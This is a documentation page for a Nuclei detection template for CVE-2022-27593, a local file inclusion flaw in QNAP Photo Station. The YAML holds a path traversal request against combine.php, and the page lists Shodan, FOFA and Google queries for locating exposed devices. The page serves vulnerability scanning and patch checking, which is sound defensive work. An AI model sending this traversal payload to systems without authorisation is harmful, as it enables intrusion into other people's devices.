Skip to content
Nuclei Templates

QNAP QTS Photo Station External Reference - Local File Inclusion

ID: CVE-2022-27593

Severity: critical

Author: allenwest24

Tags: cve2022,cve,qnap,lfi,kev

Description

Section titled “Description”

QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.

YAML Source

Section titled “YAML Source”
id: CVE-2022-27593


info:
  name: QNAP QTS Photo Station External Reference - Local File Inclusion
  author: allenwest24
  severity: critical
  description: |
    QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
  reference:
    - https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
    - https://www.qnap.com/en/security-advisory/qsa-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27593
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2022-27593
    cwe-id: CWE-610
    epss-score: 0.56352
    epss-percentile: 0.97624
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qnap
    product: photo_station
    shodan-query:
      - title:"QNAP"
      - http.title:"photo station"
      - http.title:"qnap"
      - 'content-length: 580 "http server 1.0"'
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"qnap"
      - intitle:"photo station"
  tags: cve2022,cve,qnap,lfi,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."


    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "!function(p,qa){"
          - "module.exports"
          - "application/javascript"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402205e3e3fbe0a3ce2aac0e0b6be13b8c5c50a623520219f49e4820fc7be598b82010220253667e3a6e03c04e2a05dff1842b33cf2f3a1e58c366d5de42b10b238d40d4f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27593.yaml"

View on Github